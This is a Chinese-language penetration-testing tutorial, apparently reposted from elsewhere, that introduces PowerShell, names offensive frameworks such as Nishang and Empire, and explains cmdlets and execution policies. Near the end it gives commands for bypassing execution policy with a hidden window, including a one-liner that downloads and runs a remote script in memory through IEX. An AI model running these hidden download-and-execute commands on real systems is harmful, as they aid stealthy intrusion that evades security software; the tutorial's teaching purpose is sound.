Powershell介紹、常用命令、繞過策略


在滲透測試中,PowerShell是不能忽略的一 個環節,而且仍在不斷地更新和發展,它具有令人難以置信的靈活性和功能化管理Windows系統的能力。一旦攻擊者可以在一台計算機 上運行代碼,就會下載PowerShel腳本文件(.ps1) 到磁盤中執
行,甚至無須寫到磁盤中執行,它可以直接在內存中運行。這些特點使得PowerShell在獲得和保持對系統的訪問權限時,成為攻擊者首選的攻擊手段,利用PowerShel的諸多特點,攻擊者可以持續攻擊而不被輕易發現。
常用的PowerShel攻擊工具有以下這幾種。

  • PowerSplit:這是眾多PowerShell攻擊工具中被廣泛使用的PowerShel后期漏洞利用框架,常用於信息探測、特權提升、憑證竊取、持久化等操作。
  • Nishang: 基於PowerShell的滲透測試專用工具, 集成了框架、腳本和各種Payload,包含下載和執行、鍵盤記錄、DNS、 延時命令等腳本。
  • Empire:基於PowerShel的遠程控制木馬,可以從憑證數據庫中導出和跟蹤憑證信息,常用於提供前期漏洞利用的集成模塊、信息探測、憑據竊取、持久化控制。
  • PowerCat: Powershel版的NetCat, 有着網絡工具中的"瑞士軍刀”美譽,它能通過TCP和UDP在網絡中讀寫數據。通過與其他工具結合和重定向,讀者可以在腳本中以多種方式使用它。

Powershell簡介

Windows PowerShell是一種命令行外殼程序和腳本環境, 它內置在每個受支持的Windows版本中(Windows 7/Windows 2008 R2和更高版本),使命令行用戶和腳本編寫者可以利用.NET Framework的強大功能。一旦攻擊者可以在一台計算機 上運行代碼,他們就會下載PowerShel腳本文件(.ps1) 到磁盤中執行,甚至無須寫到磁盤中執行,它可以直接在內存中運行,也可以把PowerShell看作命令行提示符cmd.exe的擴充。
PowerShell需要.NET環境的支持,同時支持.NET對象,其可讀性、易用性,可以位居當前所有Shell之首。PowerShell的這些特點正在吸引攻擊者,使它逐漸成為一個非常流行且得力的攻擊工具。PowerShell有以下這幾個優點。

  • Windows 7以上的操作系統默認安裝。
  • PowerShell腳本可以運行在內存中,不需要寫入磁盤。
  • 可以從另一個系統中下載PowerShel腳本並執行。
  • 目前很多工具都是基於PowerShell開發的。
  • 很多安全軟件並不能檢測到PowerShell的活動。
  • cmd. exe通常會被阻止運行,但是PowerShell不會。
  • 可以用來管理活動目錄。

各個Windows系統下的PowerShell版本,如圖所示。

操作系統 Powershell版本 是否可升級
Windows7、Windows Server 2008 2.0 可以升級為3.0,4.0
Windows8、Windows Server 2012 3.0 可以升級為4.0
Windows8.1、Windows Server 2012R2 4.0

可以輸入Get-Host或者$PSVersionTable.PSVERSION命令查看PowerShell版本,如圖所示。

Powershell的基本概念

PS1文件

一個PowerShell腳本其實就是一個簡單的文本文件, 這個文件包含了一系列PowerShell命令,每個命令顯示為獨立的一行,對於被視為PowerShell腳本的文本文件,它的文件名需要加上.PS1的擴展名。

執行策略

為防止惡意腳本的執行,PowerShel有一個執行策略,默認情況下,這個執行策略被設為受限。
在PowerShell腳本無法執行時,可以使用下面的cmdlet命令確定當前的執行策略。

  • Get-ExecutionPolicy.
  • Restricted:腳本不能運行(默認設置)。
  • RemoteSigned:本地創建的腳本可以運行,但從網上下載的腳本不能運行(擁有數字證書簽名的除外)。
  • AllSigned:僅當腳本由受信任的發布者簽名時才能運行。
  • Unrestricted: 允許所有的script運行。

讀者還可以使用下面的cmdlet命令設置PowerShel的執行策略。

Set-ExecutionPolicy <policy name>

運行腳本

運行個PowerShell腳本,必須鍵入完整的路徑和文件名,例如,你要運行一個名為a.ps1的腳本,可以鍵入C:\Scripts\a.ps1 。 最大的例外是,如果PowerShell腳本文件剛好位於你的系統目錄中,那么在命令提示符后直接鍵入腳本文件名即可運行,如.\a.ps1的前面就加上了“\” ,這和在Linux下執行Shel腳本的方法一樣。

管道

管道的作用是將一個命令的輸出作為另一個命令的輸入, 兩個命令之間用管道符號(|) 連接。
舉一個例子來看下管道是如何工作的,假設停止所有目前運行中的,以"p"字符開頭命名的程序,命令如下所示。

PS> get-process p* |stop-process

Powershell的常用命令

基本知識

在PowerShell下,類似“cmd命令"叫作"cmdlet" ,其命名規范相當一致,都采用"動詞-名詞”的形式,如New-ltem,動詞部分般為Add、 New、Get、Remove、Set等, 命名的別名一般兼容Windows Command和Linux Shell,如Get-Childltem命令使用dir或|s均可,而且PowerShell命令不區分大小寫。
下面以文件操作為例講解PowerShell命令的基本用法。

  • 新建目錄: New-Item -Path 'E:\Test Folder' -ItemType Directory

  • 新建文件: New-Item -Path new.txt -ItemType File

  • 刪除目錄:

  • 顯示文本內容: Get-Content new.txt.

  • 設置文本內容: Set-Content new.txt -Value "hello, word! "

  • 追加內容: Add-Content new.txt -Value "i love you"

  • 清除內容: Clear-Content new.txt

常用命令

還可以通過Windows終端提示符輸入PowerShell,進入PowerShell命令行,輸入help命令顯示幫助菜單,如圖所示。

如果要運行PowerShell腳本程序,必須用管理員權限將Restricted策略改成Unrestricted,所以在滲透時,就需要采用一些方法繞過策略來執行腳本, 比如下面這三種。

  • 繞過本地權限執行
    上傳xx.ps1至目標服務器,在CMD環境下,在目標服務器本地執行該腳本,如下所示。
    PowerShell.exe -ExecutionPolicy Bypass -File xx.ps1
  • 本地隱藏繞過權限執行腳本
    PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden NoLogo -NonInteractive -NoProfile File xx.ps1
  • 用IEX下載遠程PS1腳本繞過權限執行
    PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]

下面對上述命令的參數進行說明,如下所示。
ExecutionPolicy Bypass:繞過執行安全策略,這個參數非常重要,在默認情況下,PowerShell的安全策略規定了PowerShell不允許運行命令和文件。通過設置這個參數,可以繞過任意一個安全保護規則。 在滲透測試中,基本每次運行PowerShell腳本時都要使用這個參數。

WindowStyle Hidden:隱藏窗口。
NoLogo: 啟動不顯示版權標志的PowerShell.
NonInteractive (-Nonl) :非交互模式,PowerShell不為用戶提供交互的提示。
NoProfile (-NoP) : PowerShell控制台不加載當前用戶的配置文件。
Noexit:執行后不退出Shell。這在使用鍵盤記錄等腳本時非常重要。

PowerShel腳本在默認情況下無法直接執行,這時就可以使用上述三種方法繞過安全策略,運行PowerShell腳本。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM